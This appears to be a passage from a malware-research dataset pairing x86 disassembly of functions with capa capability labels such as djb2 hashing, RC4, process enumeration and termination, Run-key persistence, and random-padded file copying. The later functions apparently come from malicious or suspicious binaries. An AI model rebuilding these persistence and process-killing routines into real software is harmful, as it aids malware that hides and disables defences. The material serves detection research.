joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e60
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, 0xffffffff
cmp dword [esp + 0x24], 0
je 0x405f72
mov esi, dword [esp + 0x28]
test esi, esi
je 0x405f72
cmp dword [esp + 0x2c], 0
je 0x405f72
push esi
call fcn.0040da90
add esp, 4
test eax, eax
je 0x405eca
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + edi]
test edx, edx
je 0x405ed1
mov ebx, ecx
shl ebx, 5
add ebx, ecx
add ebx, edx
inc edi
mov ecx, ebx
cmp eax, edi
jne 0x405eb0
jmp 0x405ed3
mov ebx, 0x1505
jmp 0x405ed3
mov ebx, ecx
mov ecx, dword [esp + 0x24]
mov esi, dword [ecx + 0x20]
lea edi, [esi - 1]
mov edx, esi
sub edx, 1
mov dword [esp + 8], edx
jae 0x405f7a
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x405f37
call fcn.00406ba0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov ecx, dword [esp + 0x28]
jne 0x405f72
push ecx
call fcn.0040da90
add esp, 4
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov esi, dword [ecx + 0x20]
lea edi, [esi - 1]
mov eax, esi
sub eax, 1
mov dword [esp + 8], eax
jae 0x405fed
mov ebp, 0xffffffff
mov eax, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 0x28]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x18]
mov dword [eax + ebp*4], edx
mov eax, dword [ecx + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebp
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebx
inc dword [ecx + 0x18]
mov eax, dword [ecx]
mov dword [esi], eax
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], eax
and edi, ebx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x405f98
inc edi
dec esi
je 0x405eec
mov ebp, edi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x405ef1
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x405f90
mov ecx, dword [ecx + 0xc]
mov ebp, dword [ecx + eax*4]
push ebp
call fcn.0040da90
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x405f90
push dword [esp]
push ebp
push dword [esp + 0x30]
call fcn.0040dab0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x405f90
mov eax, 0xffffffff
jmp 0x405f72
and edi, ebx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x406008
inc edi
dec esi
je 0x405f32
mov ebp, edi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x405f37
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x406000
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0xc], eax
push eax
call fcn.0040da90
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x406000
push dword [esp]
push dword [esp + 0x10]
push dword [esp + 0x30]
call fcn.0040dab0
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x406000
jmp 0x405f37
Function at 0x4068f0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x406ada
mov esi, dword [esp + 0x2c]
test esi, esi
je 0x406ada
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x406ada
cmp dword [ecx], 0
jne 0x406ada
push esi
call fcn.0040da90
add esp, 4
test eax, eax
je 0x40695a
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
movzx edx, byte [esi + ebx]
test edx, edx
je 0x406961
mov edi, ecx
shl edi, 5
add edi, ecx
add edi, edx
inc ebx
mov ecx, edi
cmp eax, ebx
jne 0x406940
jmp 0x406963
mov edi, 0x1505
jmp 0x406963
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 0x20]
lea ebx, [edx - 1]
mov esi, edx
sub esi, 1
mov dword [esp + 0xc], esi
jae 0x406a34
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x4069c1
call fcn.00406ba0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 0x2c]
jne 0x406ada
push esi
call fcn.0040da90
add esp, 4
mov edx, esi
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
push esi
push edi
push eax
call fcn.00406af0
add esp, 0xc
mov ebp, eax
mov esi, dword [esp + 0x2c]
push esi
call fcn.0040da90
add esp, 4
mov ebx, eax
inc eax
push eax
call dword [0x450008]
add esp, 4
test eax, eax
je 0x406ad5
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040d8a0
add esp, 0xc
mov edx, dword [esp + 0x28]
and al, 0x28
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x30]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], edi
inc dword [edx + 0x18]
mov eax, dword [edx]
mov dword [esi], eax
xor eax, eax
jmp 0x406ada
mov dword [esp], eax
and ebx, edi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x406a58
inc ebx
dec edx
je 0x40697c
mov ebp, ebx
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov esi, dword [eax + ebp*4]
cmp esi, 0xffffffff
je 0x406981
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], edi
jne 0x406a50
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + esi*4]
push ebp
mov dword [esp + 8], edx
call fcn.0040da90
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp]
jne 0x406a50
push dword [esp]
push ebp
push dword [esp + 0x34]
call fcn.0040dab0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x406a50
mov eax, dword [ecx + 0x10]
push dword [eax + esi*4]
call fcn.00405a10
mov edx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [edx + 0x10]
mov ecx, dword [esp + 0x30]
mov dword [eax + esi*4], ecx
mov esi, ecx
jmp 0x406a29
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407ba0
Capabilities:
Compute adler32 checksum
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x407d66
mov ebp, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test ebp, ebp
je 0x407d5f
mov edx, 0x5e6ea9af
mov eax, ebp
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, ebp
sub edx, eax
jmp 0x407c43
mov edx, dword [esp]
mov eax, edx
sub eax, dword [esp + 4]
add ebx, eax
mov ebp, edx
not ebp
mov esi, dword [esp + 0xc]
and ebp, esi
not esi
mov eax, ecx
mov edx, 0x80078071
mul edx
and esi, dword [esp]
shr edx, 0xf
imul eax, edx, 0xfff1
mov dword [esp], eax
mov eax, edi
mov edx, 0x80078071
mul edx
sub ecx, dword [esp]
shr edx, 0xf
imul eax, edx, 0xfff1
sub edi, eax
mov edx, 0x15b0
sub ebp, esi
je 0x407d5f
xor eax, eax
cmp edx, 8
mov dword [esp + 0xc], ebp
jb 0x407cc2
mov eax, edx
and eax, 0x1ff8
mov dword [esp + 4], eax
mov ebp, edx
xor edx, edx
nop
nop
nop
mov eax, edx
movzx edx, byte [ebx + edx]
mov esi, edi
and esi, edx
xor edi, edx
lea edx, [edi + esi*2]
add ecx, edx
movzx esi, byte [ebx + eax + 1]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 2]
add edx, esi
add ecx, edx
movzx esi, byte [ebx + eax + 3]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 4]
add edx, esi
add ecx, edx
movzx esi, byte [ebx + eax + 5]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 6]
add edx, esi
add ecx, edx
movzx edi, byte [ebx + eax + 7]
add edi, edx
add ecx, edi
lea edx, [eax + 8]
add eax, 0xf
cmp eax, ebp
jb 0x407c60
add ebx, edx
mov edx, ebp
mov eax, dword [esp + 4]
mov esi, eax
sub esi, edx
mov dword [esp], edx
jae 0x407bfb
mov ebp, edx
and ebp, 3
mov dword [esp + 4], eax
je 0x407d12
mov dword [esp + 8], esi
neg ebp
xor eax, eax
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec eax
cmp ebp, eax
jne 0x407cf0
mov ebp, dword [esp + 4]
sub ebp, eax
mov esi, dword [esp + 8]
cmp esi, 0xfffffffc
ja 0x407bf0
jmp 0x407d1f
mov ebp, eax
mov edx, ebx
cmp esi, 0xfffffffc
ja 0x407bf0
mov eax, dword [esp]
sub eax, ebp
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + ebp]
add esi, edi
add ecx, esi
movzx edi, byte [edx + ebp + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + ebp + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + ebp + 3]
add edi, esi
add ecx, edi
add ebp, 4
cmp eax, ebp
jne 0x407d30
jmp 0x407bf0
shl ecx, 0x10
or ecx, edi
jmp 0x407d6b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40d8f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
cmp eax, esi
jbe 0x40d94e
lea ecx, [esi + ebx]
cmp ecx, eax
jbe 0x40d94e
test ebx, ebx
je 0x40d9ed
lea ecx, [esi + ebx]
dec ecx
lea edx, [eax + ebx]
dec edx
mov edi, ebx
and edi, 7
je 0x40d992
mov ebp, ebx
neg edi
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx + esi]
mov byte [edx + esi], bl
dec esi
cmp edi, esi
jne 0x40d930
add ecx, esi
add edx, esi
mov ebx, ebp
add esi, ebp
cmp ebx, 8
jae 0x40d999
jmp 0x40d9ed
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebx
xor ecx, 3
mov ebp, ebx
or ebp, 0xfffffffc
and ebp, ecx
lea edx, [eax + ebp]
add ebp, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, ebp
mov edi, edx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
je 0x40d9ed
and ebx, 2
movzx ecx, byte [ebp + ebx]
mov byte [edx + ebx], cl
jmp 0x40d9ed
mov esi, ebx
cmp ebx, 8
jb 0x40d9ed
neg esi
xor edi, edi
nop
nop
nop
movzx ebx, byte [ecx + edi]
mov byte [edx + edi], bl
movzx ebx, byte [ecx + edi - 1]
mov byte [edx + edi - 1], bl
movzx ebx, byte [ecx + edi - 2]
mov byte [edx + edi - 2], bl
movzx ebx, byte [ecx + edi - 3]
mov byte [edx + edi - 3], bl
movzx ebx, byte [ecx + edi - 4]
mov byte [edx + edi - 4], bl
movzx ebx, byte [ecx + edi - 5]
mov byte [edx + edi - 5], bl
movzx ebx, byte [ecx + edi - 6]
mov byte [edx + edi - 6], bl
movzx ebx, byte [ecx + edi - 7]
mov byte [edx + edi - 7], bl
add edi, 0xfffffff8
cmp esi, edi
jne 0x40d9a0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40e560
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x40e68a
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x40e59c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x40e5cd
cmp cx, 0x7f
jbe 0x40e590
movzx ecx, cx
cmp ecx, 0x7ff
ja 0x40e5c0
add ebx, 2
jmp 0x40e591
mov ecx, ebx
xor ecx, 3
and ebx, 3
lea ebx, [ecx + ebx*2]
jmp 0x40e591
lea esi, [ebx + 1]
push esi
call fcn.0040d870
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0x40e698
add ebx, ebp
add esi, ebp
mov eax, ebp
mov dword [esp + 8], esi
jmp 0x40e608
mov byte [eax], dl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
mov esi, dword [esp + 8]
jae 0x40e69a
movzx edx, word [edi]
test dx, dx
je 0x40e69a
cmp dx, 0x7f
jbe 0x40e5f0
mov ecx, eax
not ecx
add ecx, esi
movzx esi, dx
cmp ecx, 2
jb 0x40e650
cmp esi, 0x7ff
ja 0x40e650
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
jmp 0x40e5f7
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0x40e5f7
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
jmp 0x40e5f7
push 1
call fcn.0040d870
add esp, 4
mov ebp, eax
jmp 0x40e69a
mov eax, ebp
mov edi, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov byte [eax], 0
xor ecx, ecx
jmp 0x40e6b5
mov byte [esp + ecx + 0xc], bl
inc ecx
movzx eax, byte [ebp + ecx]
mov bl, 0x2f
cmp eax, 0x5c
je 0x40e6b0
test eax, eax
je 0x40e6c9
mov ebx, eax
jmp 0x40e6b0
mov byte [esp + ecx + 0xc], 0
lea eax, [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.00409de0
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc

Function at 0x421670
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov ecx, dword [ebp + 0x10]
push eax
sub esp, 0x20
mov dword [ebp - 0x18], esp
sub esp, 0x24
mov ebx, esp
sub esp, 0x30
mov dword [ebp - 0x64], esp
sub esp, 0x1c
mov dword [ebp - 0x5c], esp
sub esp, 8
mov dword [ebp - 0x60], esp
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x452288]
Function at 0x10001000
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x138], eax
push dword [ebp + 8]
call fcn.10006bfe
pop ecx
mov eax, dword [0x1000b138]
mov dword [ebp - 0x13c], eax
push dword [0x1000b138]
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
mov dword [ebp - 0x12c], eax
jmp 0x10001070
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jl 0x100010a6
mov eax, dword [0x1000b138]
add eax, dword [ebp - 0x12c]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x100010a4
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x13c]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x13c], eax
jmp 0x100010a6
jmp 0x10001063
push dword [ebp - 0x13c]
call fcn.10006bfe
pop ecx
cmp dword [ebp - 0x138], 0
je 0x10001156
lea eax, [ebp - 0x104]
push eax
call fcn.10006bfe
pop ecx
push dword [ebp - 0x13c]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x10001139
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10001139
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x1000112d
push 0
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x134], eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x138], eax
jmp 0x100010b2
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x10001164
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x105c
call fcn.100082f0
push 0x25
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_StrChrA]
test eax, eax
je 0x100011a2
push 0x400
lea eax, [ebp - 0xc54]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x100011a2
lea eax, [ebp - 0xc54]
mov dword [ebp + 8], eax
push dword [ebp + 8]
call fcn.10006bfe
pop ecx
push dword [0x1000b138]
call fcn.10006bfe
pop ecx
push dword [0x1000b138]
call fcn.10006c38
pop ecx
push eax
push dword [0x1000b138]
push dword [ebp + 8]
call fcn.10006b85
add esp, 0xc
test eax, eax
jne 0x100011e1
push 1
pop eax
jmp 0x1000134f
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x22
jne 0x100011f3
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp + 8], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
mov dword [ebp - 0x105c], eax
jmp 0x10001212
mov eax, dword [ebp - 0x105c]
dec eax
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0
jl 0x10001230
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x105c]
movsx eax, byte [eax]
cmp eax, 0x2e
jne 0x1000122e
jmp 0x10001230
jmp 0x10001205
cmp dword [ebp - 0x105c], 0
jge 0x10001240
xor eax, eax
jmp 0x1000134f
push dword [0x1000b138]
lea eax, [ebp - 0x400]
push eax
call fcn.10006c65
pop ecx
pop ecx
push dword [ebp + 8]
lea eax, [ebp - 0x844]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc58], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
mov dword [ebp - 0x105c], eax
jmp 0x1000128c
mov eax, dword [ebp - 0x105c]
dec eax
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0
jl 0x100012bd
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x105c]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x100012bb
mov eax, dword [ebp - 0x105c]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc58], eax
jmp 0x100012bd
jmp 0x1000127f
push dword [ebp - 0xc58]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
mov dword [ebp - 0x105c], eax
jmp 0x100012df
mov eax, dword [ebp - 0x105c]
dec eax
mov dword [ebp - 0x105c], eax
cmp dword [ebp - 0x105c], 0
jl 0x10001340
mov eax, dword [ebp - 0xc58]
add eax, dword [ebp - 0x105c]
movsx eax, byte [eax]
cmp eax, 0x2e
jne 0x1000133e
mov eax, dword [ebp - 0xc58]
add eax, dword [ebp - 0x105c]
mov byte [eax + 1], 0x65
mov eax, dword [ebp - 0xc58]
add eax, dword [ebp - 0x105c]
mov byte [eax + 2], 0x78
mov eax, dword [ebp - 0xc58]
add eax, dword [ebp - 0x105c]
mov byte [eax + 3], 0x65
mov eax, dword [ebp - 0xc58]
add eax, dword [ebp - 0x105c]
and byte [eax + 4], 0
jmp 0x10001340
jmp 0x100012d2
push dword [ebp - 0xc58]
call section..text
pop ecx
push 1
pop eax
leave
ret
Function at 0x10001419
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0c
and dword [ebp - 0x60c], 0
mov dword [ebp - 0x104], 0x3ff
lea eax, [ebp - 0x208]
push eax
push 0x20019
push 0
push 0x1000a02c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001461
push dword [ebp - 0x208]
call fcn.10001351
pop ecx
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push eax
push 0x20019
push 0
push 0x1000a05c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000149b
push dword [ebp - 0x208]
call fcn.10001351
pop ecx
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1000a08c
call section..text
pop ecx
push 0x1000a098
call section..text
pop ecx
leave
ret

Function at 0x100014bf
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push edi
and dword [ebp - 0x98], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x98], 0x3c
mov dword [ebp - 0x94], 0x440
and dword [ebp - 0x90], 0
and dword [ebp - 0x8c], 0
mov eax, dword [0x1000b138]
mov dword [ebp - 0x88], eax
mov eax, dword [0x1000b13c]
mov dword [ebp - 0x84], eax
and dword [ebp - 0x80], 0
and dword [ebp - 0x7c], 0
and dword [ebp - 0x78], 0
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 1
pop eax
pop edi
leave
ret

Function at 0x10001534
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
and dword [ebp - 0x138], 0
and dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0x134], eax
jmp 0x1000156c
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jb 0x1000159a
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x134]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x10001598
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
jmp 0x1000159a
jmp 0x1000155f
push dword [ebp - 4]
call fcn.10006bfe
pop ecx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
jne 0x100015d2
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
jmp 0x10001654
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x13c]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10001606
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
jmp 0x10001654
lea eax, [ebp - 0x10c]
push eax
call fcn.10006bfe
pop ecx
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x1000162f
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x13c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001606
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x1000177b
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e4
mov dword [ebp - 0x110], 0x221c
and dword [ebp - 0x5e4], 0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xffffffff
jne 0x100017c6
xor eax, eax
jmp 0x100019c4
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xffffffff
jne 0x10001803
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100019c4
and dword [ebp - 0x13c], 0
push dword [ebp + 8]
call fcn.1000173d
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x14
jge 0x10001838
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100019c4
mov eax, dword [ebp - 4]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0
jne 0x1000185a
xor eax, eax
jmp 0x100019c4
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push dword [ebp - 0x5e0]
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
je 0x1000189c
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100019c4
push 0
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp - 4]
push dword [ebp - 0x5e0]
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x134], edx
and dword [ebp - 0x1c8], 0
jmp 0x100018e4
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0x134]
jae 0x10001926
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x1869f
idiv ecx
mov dword [ebp - 0x1d4], edx
push 0
lea eax, [ebp - 0x1cc]
push eax
push 4
lea eax, [ebp - 0x1d4]
push eax
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x100018d7
push 0
lea eax, [ebp - 0x1cc]
push eax
push 4
lea eax, [ebp - 0x5e4]
push eax
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1cc]
push eax
push 4
push 0x1000a024
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1cc]
push eax
push 4
push 0x1000a020
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1cc]
push eax
push 4
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1cc]
jne 0x100019c2
push 1
pop eax
jmp 0x100019c4
xor eax, eax
leave
ret